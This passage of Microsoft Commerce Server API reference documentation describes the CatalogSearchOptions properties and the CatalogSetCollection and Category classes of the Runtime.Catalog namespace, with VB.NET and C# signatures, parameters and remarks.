The default value is null, indicating to return all properties.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.RecordsToRetrieve Property (BCL)

The RecordsToRetrieve property gets or sets the number of records to retrieve.

Definition

[Visual Basic .NET]
Public Property RecordsToRetrieve As System.Int32
[C#]
public System.Int32 RecordsToRetrieve {get; set;}

Property Value

The number of records to retrieve.

Remarks

The default value is -1, indicating all records.

Throws an ArgumentOutOfRangeException if the supplied value is less than -1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.SortAscending Property (BCL)

The SortAscending property gets or sets a Boolean value that specifies whether to sort in ascending or descending order.

Definition

[Visual Basic .NET]
Public Property SortAscending As Boolean
[C#]
public Boolean SortAscending {get; set;}

Property Value

A Boolean value that specifies whether to sort in ascending or descending order.

Remarks

The default value is true (ascending).

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.SortProperty Property (BCL)

The SortProperty property gets or sets the property name of the property on which to sort results datasets.

Definition

[Visual Basic .NET]
Public Property SortProperty As System.String
[C#]
public System.String SortProperty {get; set;}

Property Value

The name of the property on which to sort results datasets.

Remarks

The default value is null, indicating results will not be sorted.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.StartingRecord Property (BCL)

The StartingRecord property gets the starting record property.

Definition

[Visual Basic .NET]
Public Property StartingRecord As System.Int32
[C#]
public System.Int32 StartingRecord {get; set;}

Property Value

The record number of the first record to return.

Remarks

The default value is 1, indicating to start with the first record.

Throws an ArgumentOutOfRangeException if the supplied value is less than 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Class (BCL)

The CatalogSetCollection object retrieves information about all the CatalogSets objects in the Commerce Server Product Catalog System and caches it. It provides an enumerator and two indexors that can be used to retrieve the catalog set information.

Public Instance Constructor

Constructor | Description
CatalogSetCollection Constructor(CatalogContext, String) | Creates a new instance of the CatalogSetCollection class with the specified CatalogContext object.

Public Instance Methods

Method | Description
CopyTo(ReadOnlyStringCollection[], Int32) | Copies the CatalogSets objects to an array, starting at a particular array index.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
CatalogContext | Gets the CatalogContext object that was used to create this CatalogSetCollection object.
Count | Returns the count of this collection.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | String that allows the indexer to access the list of catalogs for a given CatalogSetName value.
Item(Guid) | GUID that allows the indexer to access the list of catalogs by a given CatalogSetId value.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Protected Instance Methods

Method | Description
InitCatalogSetsData | Gets the CatalogSetID.Catalogs object and CatalogSetName.Catalogs object mapping information.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSetCollection Constructor(CatalogContext, String) | Creates a new instance of the CatalogSetCollection class with the specified CatalogContext object.


CatalogSetCollection Constructor (CatalogContext, String) (BCL)

Use this method to create a new instance of the CatalogSetCollection class with the specified CatalogContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogContext As CatalogContext, _
  ByVal connectionString As System.String _
)
[C#]
public CatalogSetCollection(
  CatalogContext catalogContext,
  System.String connectionString
);

Parameters

[Visual Basic .NET]
catalogContext
A CatalogContext object. This value may not be null.
connectionString
Defines the connection string to use. This value may not be null.
[C#]
catalogContext
A CatalogContext object. This value may not be null.
connectionString
Defines the connection string to use. This value may not be null.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(ReadOnlyStringCollection[], Int32) | Copies the CatalogSets objects to an array, starting at a particular array index.
GetEnumerator | Retrieves the enumerator on this collection.

Protected Instance Methods

Method | Description
InitCatalogSetsData | Gets the CatalogSetID.Catalogs and CatalogSetName.Catalogs object mapping information.


CatalogSetCollection.CopyTo (ReadOnlyStringCollection[], Int32) Method (BCL)

Use this method to copy the CatalogSets objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Public NotOverridable Public Sub CopyTo( _
  ByVal array As ReadOnlyStringCollection[], _
  ByVal index As System.Int32 _
)
[C#]
public sealed void CopyTo(
  ReadOnlyStringCollection[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Sets the array where elements are copied.
index
Starting element for the array where elements are copied.
[C#]
array
Sets the array where elements are copied.
index
Starting element for the array where elements are copied.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to an IEnumerator interface implementation for this collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.InitCatalogSetsData Method (BCL)

Use this method to get the CatalogSetID.Catalogs and CatalogSetName.Catalogs object mapping information.

This method retrieves and caches the CatalogSetID To Catalogs mapping information and the CatalogSetName To Catalogs mapping information.

Definition

[Visual Basic .NET]
Protected Sub InitCatalogSetsData( _
)
[C#]
protected void InitCatalogSetsData(
);

Remarks

The CatalogContext object caches this information since it is frequently used in e-commerce sites. To refresh the list, call the Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Properties (BCL)

Public Instance Properties

Property | Description
CatalogContext | Gets the CatalogContext object that was used to create this CatalogSetCollection object.
Count | Returns the count of this collection.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Allows the indexer to access the list of catalogs for a given CatalogSetId name.
Item(Guid) | Allows the indexer to access the list of catalogs for a given CatalogSetId GUID identifier.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


CatalogSetCollection.Count Property (BCL)

The Count property, which is read-only, returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of items contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.CatalogContext Property (BCL)

The CatalogContext property is a read-only String that the CatalogContext object uses to create this CatalogSetCollection object.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The CatalogContext object that was used to create this CatalogSetCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.DebugContext Property (BCL)

The DebugContext property is a read-only String that the DebugContext object for the CatalogContext object uses to create this CatalogSetCollection object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only String that indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean value indicating whether the collection supports synchronization.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.Item(String) Property (BCL)

The Item property is a read-only String that allows the indexer to access an item in the ReadOnlyStringCollection collection of catalogs for a given catalogSetName parameter.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Item( _
  ByVal catalogSetName As System.String _
) As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Item(
  System.String catalogSetName
) {get;}

Parameters

[Visual Basic .NET]
catalogSetName
The name that identifies the catalog set.
[C#]
catalogSetName
The name that identifies the catalog set.

Property Value

A ReadOnlyStringCollection object containing the catalogs in the catalog set.

Remarks

The dictionary containing the CatalogSetName-to-Catalogs mapping is cached. To refresh this information, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.Item(Guid) Property (BCL)

The Item property is a read-only String that allows the indexer to access the ReadOnlyStringCollection collection of catalogs for a given catalogSetID parameter.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Item( _
  ByVal catalogSetId As System.Guid _
) As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Item(
  System.Guid catalogSetId
) {get;}

Parameters

[Visual Basic .NET]
catalogSetId
The System.Guid GUID that identifies the CatalogSet object.
[C#]
catalogSetId
The System.Guid GUID that identifies the CatalogSet object.

Property Value

A ReadOnlyStringCollection object containing the catalogs in the catalog set.

Remarks

The dictionary containing the CatalogSetName-to-Catalogs mapping is cached. To refresh this information, call CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only String that retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

String that retrieves the object for synchronizing operations on this collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Class (BCL)

Represents a category in a ProductCatalog object.

Protected Instance Constructor

Constructor | Description
Constructor(ProductCatalog, String) | Creates a new instance of the Category class representing a category of the specified ProductCatalog object.

Public Instance Methods

Method | Description
Dispose | Disposes of resources early.
GetCategoryProperties | Returns properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.
GetChildCategories(CatalogSearchOptions, Boolean, Int32) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions, Boolean) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean, Int32) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts | Gets the properties for the products in this category.
GetRelatedCategories | Gets the category relationships for this category.
GetRelatedProducts | Gets the product relationships for this category.

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this category in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this category. The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
ChildCategoriesCount | Gets the number of categories that are immediate children of this category.
ChildCategoryNames | Gets the names of the categories that are immediate children of this category.
ChildProductsCount | Gets the number of products that are immediate children of this category.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
Name | Gets the name of the category.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this category in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this category.
ProductCatalog | Gets the ProductCatalog object for the catalog that contains this category.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Remarks

There is no public constructor of Category objects.

A Category object should be referenced only on the page in which it was created.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Constructor(ProductCatalog, String) | Creates a new instance of the Category class representing a category of the specified ProductCatalog object.


Category Constructor (ProductCatalog, String) (BCL)

Use this method to create a new instance of the Category class representing a category of the specified ProductCatalog object.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal catalog As ProductCatalog, _
  ByVal categoryName As System.String _
)
[C#]
protected Category(
  ProductCatalog catalog,
  System.String categoryName
);

Parameters

[Visual Basic .NET]
catalog
The ProductCatalog object that contains the Category object. This value may not be NULL.
categoryName
The name of the category. This may be NULL or String.Empty to indicate the root category.
[C#]
catalog
The ProductCatalog object that contains the Category object. This value may not be NULL.
categoryName
The name of the category. This may be NULL or String.Empty to indicate the root category.

Remarks

This constructor is provided so that the Category object can be subclassed.

Throws an ArgumentNullException if the catalog parameter is NULL.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Disposes of resources early.
GetCategoryProperties | Returns properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.
GetChildCategories(CatalogSearchOptions, Boolean, Int32) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions, Boolean) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean, Int32) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts | Gets the properties for the products in this category.
GetRelatedCategories | Gets the category relationships for this category.
GetRelatedProducts | Gets the product relationships for this category.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


Category.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
public protected virtual void CheckState(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Dispose Method (BCL)

Releases resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the Object.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetCategoryProperties Method (BCL)

Use this method to return properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetCategoryProperties( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCategoryProperties(
);

Return Value

Returns a DataSet with a single DataTable. The DataTable contains a single DataRow containing the property information.

Remarks

Throws a CatalogException on failure.

If this category has been deleted from the database, this property throws an exception. For categories created in virtual catalogs, the category name returned in the DataSet will not contain the appended catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories Method (BCL)

Use this method to get the CategoryName, CatalogName, DefinitionName and DisplayName properties for the immediate child categories of this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
);

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions) Method (BCL)

Use this method to get property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifying how the data is to be returned. This value may be NULL.
[C#]
searchOptions
A CatalogSearchOptions object specifying how the data is to be returned. This value may be NULL.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions, Boolean) Method (BCL)

Use this method to get property data for the child categories of this category using the parameter to determine how the results are returned. . If the recursive value is true, the child categories of child categories of this category are also returned, as are the grandchild categories, the great-grandchild categories, and so on. In fact, all underlying recursive categories are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetChildCategories (CatalogSearchOptions, Boolean, Int32) Method (BCL)

Use this method to get the property data for child categories of this category using the CatalogSearchOptions parameter to determine how the results are returned. If the recursive value is true, the child categories of child categories of this category are also returned, as are the grandchild categories, the great-grandchild categories, and so on. In fact, all underlying recursive categories are returned.

The total number of categories meeting the criteria are returned in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetChildCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetChildCategories(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
(out) A System.Int32 object that contains the total number of categories returned.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
(out) A System.Int32 object that contains the total number of categories returned.

Return Value

The DataSet contains a single DataTable with the child category property data.

Remarks

Calling the GetChildCategories method is more efficient than calling any of the GetChildCategories methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts Method (BCL)

Use this method to get all properties for all of the products in this category object.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
);

Return Value

The DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions) Method (BCL)

Use this method to get properties for the products in this category using the searchOptions parameter to determine how the results are returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions, Boolean) Method (BCL)

Use this method to get the properties for the products in this category using the searchOptions parameter to determine how the results are returned. If the recursive value is true, the products in child categories of this product are also returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetProducts (CatalogSearchOptions, Boolean, Int32) Method (BCL)

Use this method to get the properties for the products in this category using the searchOptions parameter to determine how the results are returned. If the recursive value is true, the products in child categories of this product are also returned. As well, the products in grandchild categories, in great-grandchild categories, and so on, are all returned.

Definition

[Visual Basic .NET]
Overridable Public Function GetProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByVal recursive As System.Boolean, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProducts(
  CatalogSearchOptions searchOptions,
  System.Boolean recursive,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
An integer containing the total number of products returned by the query.
[C#]
searchOptions
A CatalogSearchOptions object specifies how the data is to be returned. This value may be NULL.
recursive
A System.Boolean that indicates whether the search is recursive. A value of true indicates that the search is recursive.
totalRecords
An integer containing the total number of products returned by the query.

Return Value

A DataSet with a single DataTable that contains the product properties.

Remarks

Calling the GetProducts method is more efficient than calling any of the GetProducts methods with parameters.

Throws a CatalogException on failure.

Because this method internally calls the Category.Search method, some error messages will report that the Search method has failed even though the Search method was not explicitly called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetRelatedCategories Method (BCL)

Use this method to get the category relationships for this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedCategories(
);

Return Value

A DataSet that contains a single DataTable with the following columns: CategoryName, RelationshipName, RelationshipDescription, and TargetCatalog. All of these columns are of the type String.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.GetRelatedProducts Method (BCL)

Use this method to get the product relationships for this category.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedProducts(
);

Return Value

A DataSet that contains a single DataTable with the following columns: ProductId , RelationshipName , RelationshipDescription , and TargetCatalog. All of these columns are of type String.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Properties (BCL)

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all the categories that are above this category in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this category. The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
ChildCategoriesCount | Gets the number of categories that are immediate children of this category.
ChildCategoryNames | Gets the names of the categories that are immediate children of this category.
ChildProductsCount | Gets the number of products that are immediate children of this category.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.
Name | Gets the name of the category.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this category in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this category.
ProductCatalog | Gets the ProductCatalog object for the catalog that contains this category.


Category.AncestorCategoryNames Property (BCL)

The AncestorCategoryNames property is a read-only String that gets the names of all categories that are above this category in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property AncestorCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection AncestorCategoryNames {get;}

Property Value

A ReadOnlyStringCollection that contains the categories.

Remarks

If this category is a root category, the returned array is empty.

Throws a CatalogException on failure.

The list of ancestor category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.CanonicalCategoryPath Property (BCL)

